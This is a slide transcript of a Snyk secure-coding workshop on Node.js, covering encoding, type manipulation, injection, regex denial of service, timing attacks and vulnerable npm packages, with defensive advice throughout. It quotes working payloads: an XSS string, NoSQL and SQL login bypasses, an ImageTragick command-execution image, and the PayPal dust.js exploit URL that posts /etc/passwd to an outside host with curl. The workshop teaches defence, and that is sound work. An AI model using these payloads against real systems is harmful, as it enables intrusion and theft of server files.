Secure Node Code (workshop, O'Reilly Security)

Post on 15-Apr-2017

287 views 1 download

Transcript of Secure Node Code (workshop, O'Reilly Security)

snyk.io

Secure Node CodeGuy Podjarny

@guypod Danny Grander

@grander

snyk.io

Guy• Guy Podjarny, @guypod on Twitter

• CEO & Co-founder at Snyk

• History: • Cyber Security part of Israel Defense Forces

• First Web App Firewall (AppShield), Dynamic/Static Tester (AppScan)

• Security: Worked in Sanctum -> Watchfire -> IBM

• Performance: Founded Blaze -> CTO @Akamai

• O’Reilly author, speaker

snyk.io

Danny• Danny Grander, @grander on Twitter

• Chief Research Officer & Co-founder at Snyk

• History: • Cyber Security part of Israel Defense Forces

• Startup work on embedded security and crypto

• CTO at Gita, security consultancy (acquired by Verint)

• Speaker, blogger

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

snyk.io

Setup

• Goof: https://github.com/Snyk/goof • Exploits under https://github.com/Snyk/goof/exploits/

• Optional: install locally (requires Node & npm)$ git clone https://github.com/Snyk/goof$ cd goof $ npm install$ npm start # will run on localhost:3001

snyk.io

Node.js

snyk.io

3.5M Node.js Developersgrowing 100% year over year

snyk.io

JS top used language

snyk.io

npm growth

snyk.io

Growing in Enterprise

snyk.io

Key Strength 1:Same lang on client & server

snyk.io

Key Strength 2:Naturally scalable

snyk.io

Key Strength 3:Easy & fast to start

snyk.io

Node.js foundationSome history…

snyk.io

Node.js Security

snyk.io

Good Node.js core security

snyk.io

Security a top priorityfor Node.js foundation

snyk.io

Low EcosystemSecurity Awareness

outside of core

snyk.io

Most vulns have no CVE

snyk.io

Not enough researchAt least we have ChALkeR…

snyk.io

Not enough security dialogue

hence this session!

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

snyk.io

Encoding

snyk.io

URL Encoding

snyk.io

HTML Entities

snyk.io

Insecure Default Config

snyk.io

Data URI

snyk.io

Template engine escaping

snyk.io

{{{val}}} vs {{val}}

snyk.io

Crazy Encoding

snyk.io

How to defend?

snyk.io

It’s complicated.Lots of variants, ever shifting

snyk.io

Use FrameworksNot perfect, but typically better than custom code

snyk.io

Frameworks are generic.You can be specific.

Use application knowledge to explicitly specify what’s allowed

snyk.io

Critique default configAnd use the right framework functions

snyk.io

Building your own?Consider all encodings

Missing one variant is all it takes…

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

snyk.io

Questions?

snyk.io

Type Manipulation

snyk.io

qs: query string parser

snyk.io

28M downloads/monthNot officially part of Node, but de-facto standard

snyk.io

qs.parse(‘a=foo’)

{ a: “foo” }

snyk.io

qs.parse(‘a=foo&b=bar’)

{ a: “foo”, b: “bar” }

snyk.io

qs.parse(‘a=foo&a=bar’)

?

snyk.io

qs.parse(‘a=foo&a=bar’)

{ a: [ “foo”, “bar” ] }

snyk.io

qs.parse(‘a[]=foo’)

{ a: [ “foo” ] }

snyk.io

qs.parse(‘a[1]=foo&a[2]=bar’)

{ a: [ “foo”, “bar” ] }

snyk.io

qs.parse(‘a[1]=foo&a[8]=bar’)

{ a: [ “foo”, “bar” ] }

snyk.io

Input Type not guaranteedBut that’s not always intuitive…

snyk.io

Example: NunjucksClient Side JS execution

snyk.io

Mozilla templating library3,500 stars, 320 forks, 150k downloads/month

snyk.io

Sanitization Logic

nunjucks.renderString( 'Hello {{ username }}’, {username: '<s>Matt</s>' });

Hello &lt;s&gt;Matt&lt;s&gt;

snyk.io

Sanitization Code

escape: function(str) { if(typeof str === 'string') { return r.markSafe(lib.escape(str)); } return str; }

snyk.io

Sanitization Workaround

nunjucks.renderString( 'Hello {{ username }}’, {username: [‘<s>Matt</s>’] });

Hello <s>Matt</s>

snyk.io

qs + array = XSS

nunjucks.renderString( 'Hello {{ username }}’, {username: [‘<script>alert(1)</script>’] });

XSS: <script>alert(1)</script>matt

http://host/?name[]=<script>alert(1)</script>matt

snyk.io

Fixed Sanitization Codeescape: function(str) { if(str == null) str = ''; if(str instanceof r.SafeString) { return str; } return r.markSafe(lib.escape(str.toString())); },

Always returns a string

snyk.io

Example: dust.jsServer side JS execution

snyk.io

LinkedIn Templating Library2,400 stars, 406 forks, 77k downloads/month

snyk.io

Discovered on PaypalReported responsibly: https://artsploit.blogspot.co.il/2016/08/pprce2.html

snyk.io

“if” uses eval"if": function( chunk, context, bodies, params ){ var body = bodies.block, skip = bodies['else']; if( params && params.cond){ var cond = params.cond; cond = dust.helpers.tap(cond, chunk, context); // eval expressions with given dust references if(eval(cond)){ if(body) { return chunk.render( bodies.block, context ); } else { _log("Missing body block in the if helper!"); return chunk; } }

snyk.io

query to eval examples

http://host/navigation?device=xxx\ eval("'xxx\' == 'desktop'");

http://host/navigation?device=mobile eval("'mobile' == 'desktop'");

http://host/navigation?device=x' eval(“‘x&#39;' == 'desktop'");

snyk.io

Sanitizationvar HCHARS = /[&<>"']/, AMP = /&/g, LT = /</g, GT = />/g, QUOT = /\"/g, SQUOT = /\'/g;

dust.escapeHtml = function(s) { if (typeof s === 'string') { if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&amp;').replace(LT,'&lt;'). replace(GT,'&gt;').replace(QUOT,'&quot;'). replace(SQUOT, '&#39;'); }

return s; };

snyk.io

arrays not sanitized

http://host/navigation?device[]=x' eval(“'x'' == 'desktop'");

http://host/navigation?device[]=x eval("'x' == 'desktop'");

snyk.io

Paypal Exploit

http://host/navigation?device[]=x&device[]=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+artsploit.com')-'

eval("'xy'-require('child_process').exec('curl -F \"x=`cat /etc/passwd`\" artsploit.com')-'' == 'desktop'");

snyk.io

JSON

snyk.io

Example: mongooseLet’s see this on Goof

snyk.io

Buffer trippedmany top packages

mongoose, request, sequelize, ws…

snyk.io

Dealing with Buffer

snyk.io

Buffer.allocSafe()zeroes memory*

Buffer.allocUnsafe() doesn’t

* Requires Node.js 5 or newer

snyk.io

Default Buffer remainsDeprecated in Node 7

(https://nodejs.org/api/buffer.html)

snyk.io

-- zero-fill-buffers:makes Buffer(int) zero mem

Node command line flag. May break packages…

snyk.io

How to defend?

snyk.io

Validate typeDon’t assume you know what it is

snyk.io

Use Buffer.allocSafe()

snyk.io

Don’t use eval()Especially for user-provided code

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

snyk.io

Questions?

snyk.io

Break!

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

snyk.io

Injection

snyk.io

Shell Injection

snyk.io

Goof Enhancement: Images!

snyk.io

Vuln cause 1: string concatenation

snyk.io

Vuln cause 2:exec()

snyk.io

exec() vs

spawn()/execFile()

snyk.io

Example: git-ls-remote

snyk.io

Not all shell injections are in your code…

snyk.io

ImageTragick• ImageMagick:

popular image manipulation binary/library

• May 2016: Multiple RCE vulns disclosed • Trivial to exploit, highly severe, took >1 week to fix

• Primary vulnerability: • Images are declared as one format, but auto-detected as SVG

• SVG processing holds multiple remote command execution

snyk.io

Exploit.png

push graphic-context viewbox 0 0 640 480 fill 'url(https://tinyurl.com/favorites.gif"|touch "./public/tragick)' pop graphic-context

snyk.io

Exploitable on GoofFor you to try out at home…

snyk.io

Had no fix for a long while!Required limiting in code

(e.g. https://www.npmjs.com/package/imagemagick-safe)

snyk.io

OSS Binaries are a part of your app

Unpleasant, but true

snyk.io

How to defend?

snyk.io

Avoid exec()Use execFile() or spawn() instead

snyk.io

Track vulnerable binariesMore on that later…

snyk.io

NoSQL Injection

snyk.io

Classic SQL Injection

SELECT *

FROM users WHERE username = '$username' AND password = '$password'

snyk.io

username = ‘ or 1=1—

SELECT *

FROM users WHERE username = ‘’ or 1=1 --’ AND password = 'bla'

snyk.io

Goof’s admin check

db.users.find( {username: req.body.username, password: req.body.password},

function (err, users) { // TODO: handle the rest }

);

snyk.io

Exploits!

snyk.io

Legitimate Use

db.users.find( {username: "admin", password: "SuperSecretPass"},

function (err, users) { // TODO: handle the rest }

);

snyk.io

NoSQL Injection

db.users.find( {username: "admin", password: {"$gt":""}},

function (err, users) { // TODO: handle the rest }

);

snyk.io

MongoDB Querieshttps://docs.mongodb.com/v3.2/tutorial/query-documents/

snyk.io

How to defend?

snyk.io

Validate TypeSound familiar?

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

snyk.io

Questions?

snyk.io

Event Loop

snyk.io

Node = JavaScript = 1 thread

snyk.io

JS scales through events as opposed to threads

snyk.io

Blocking actions natively async

I/O, system calls, etc.

snyk.io

Scales great!Until a function goes wild…

Infinite loops, deep recursion, long-running algorithms …

snyk.io

Which Algorithms are used most often?

snyk.io

Regular ExpressionDenial of Service

(ReDoS)

snyk.io

Example: ms

snyk.io

Long String + Non-Linear Compute =

Outage

snyk.io

Example: moment

snyk.io

Catastrophic Backtracking

snyk.io

Regexp: /A(B|C+)*DE?/

snyk.io

Regexp: /A(B|C+)*DE?/

“ACCCCCCCCCCCCCCCCCCCCCCCCCCC” : 0.9 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 1.8 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 3.5 Seconds “ACCCCCCCCCCCCCCCCCCCCCCCCCCCCCC”: 7.0 Seconds

snyk.io

Short String + Very Non-Linear Compute =

Outage

snyk.io

How To Defend?

snyk.io

Prevent long running algorithms

snyk.io

Avoid nested unlimited length groupsMore reading: http://www.regular-expressions.info/catastrophic.html

snyk.io

Contain regexp input length

snyk.io

Limit execution timefor your own algorithms

snyk.io

Split & yield threadduring potentially long-running algorithms

snyk.io

Timing Attack

snyk.io

A bit more esoteric…

snyk.io

What’s a Timing Attack?

snyk.io

Spot the Problem

function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; }

snyk.io

Spot the Problem

function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; } Fails faster if first

chars mismatch

snyk.io

Worst case: Enumerate token per char

snyk.io

Constant Time Comparisonfunction isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; var mismatch = 0; for (var i = 0; i < token.length; ++i) { mismatch |= (token.charCodeAt(i) ^

ADMIN_UUID.charCodeAt(i)); } return mismatch; }

snyk.io

Constant Time Comparison

var scmp = require('scmp'); function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-e6d0ddb8bbba"; return scmp(token, admin); }

snyk.io

Complex Timing Attacks

snyk.io

How To Defend?

snyk.io

Use constant time processing

to avoid leaking sensitive information

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

snyk.io

Questions?

snyk.io

Dependencies

snyk.io

Vulnerable Binaries

snyk.io

Track your servers wellAnd the binaries within them

snyk.io

Update quickly & frequently

snyk.io

Prevent exploits via codee.g. imagemagick-safe

snyk.io

Vulnerable Packages

snyk.io

npm is a core part ofdeveloping in Node.js

snyk.io

>350,000 packages

~6B downloads/month >65,000 publishers

npm usage Has Exploded

snyk.io

Your App

snyk.io

Your Code

Your App

snyk.io

Each Dependency Is A Security Risk

as we’ve just seen…

snyk.io

~14% of npm Packages Carry Known Vulnerabilities

~83% of Snyk users found vulns in their apps

Source: Snyk data, Oct 2016

snyk.io

How do I protect myself?

snyk.io

Back to Goof…

snyk.io

Securing OSS Packages• Find vulnerabilities

• Be sure to test ALL your applications

• Fix vulnerabilities • Upgrade when possible, patch when needed

• Prevent adding vulnerable module • Break the build, test in pull requests

• Respond quickly to new vulns • Track vuln DBs, or use Snyk! </shameless plug>

snyk.io

Not just Node/npmImpacts Open Source Packages, wherever they are

snyk.io

Agenda• Intro & Setup

• Insecure Code • Encodings

• Type Manipulation

• Injection

• Event Loop

• Insecure Dependencies

• Summary

snyk.io

There’s A LOT we didn’t cover

• HTTPS

• Security Headers

• Common misconfigurations

• Node.js runtime security

• Continous Security in CI/CD

• Happy to take questions on those…

snyk.io

Summary

• Node.js is awesome, and here to stay

• Security dialogue too low, needs your attention

• Educate & beware insecure code • Both Node.js specific and general app sec issues

• Setup tools to handle insecure dependencies • Continuously, and across all projects

snyk.io

Node.js Is Awesome

snyk.io

Node.js Is AwesomePlease Enjoy Responsibly

Questions?

Guy Podjarny @guypod

Danny Grander @grander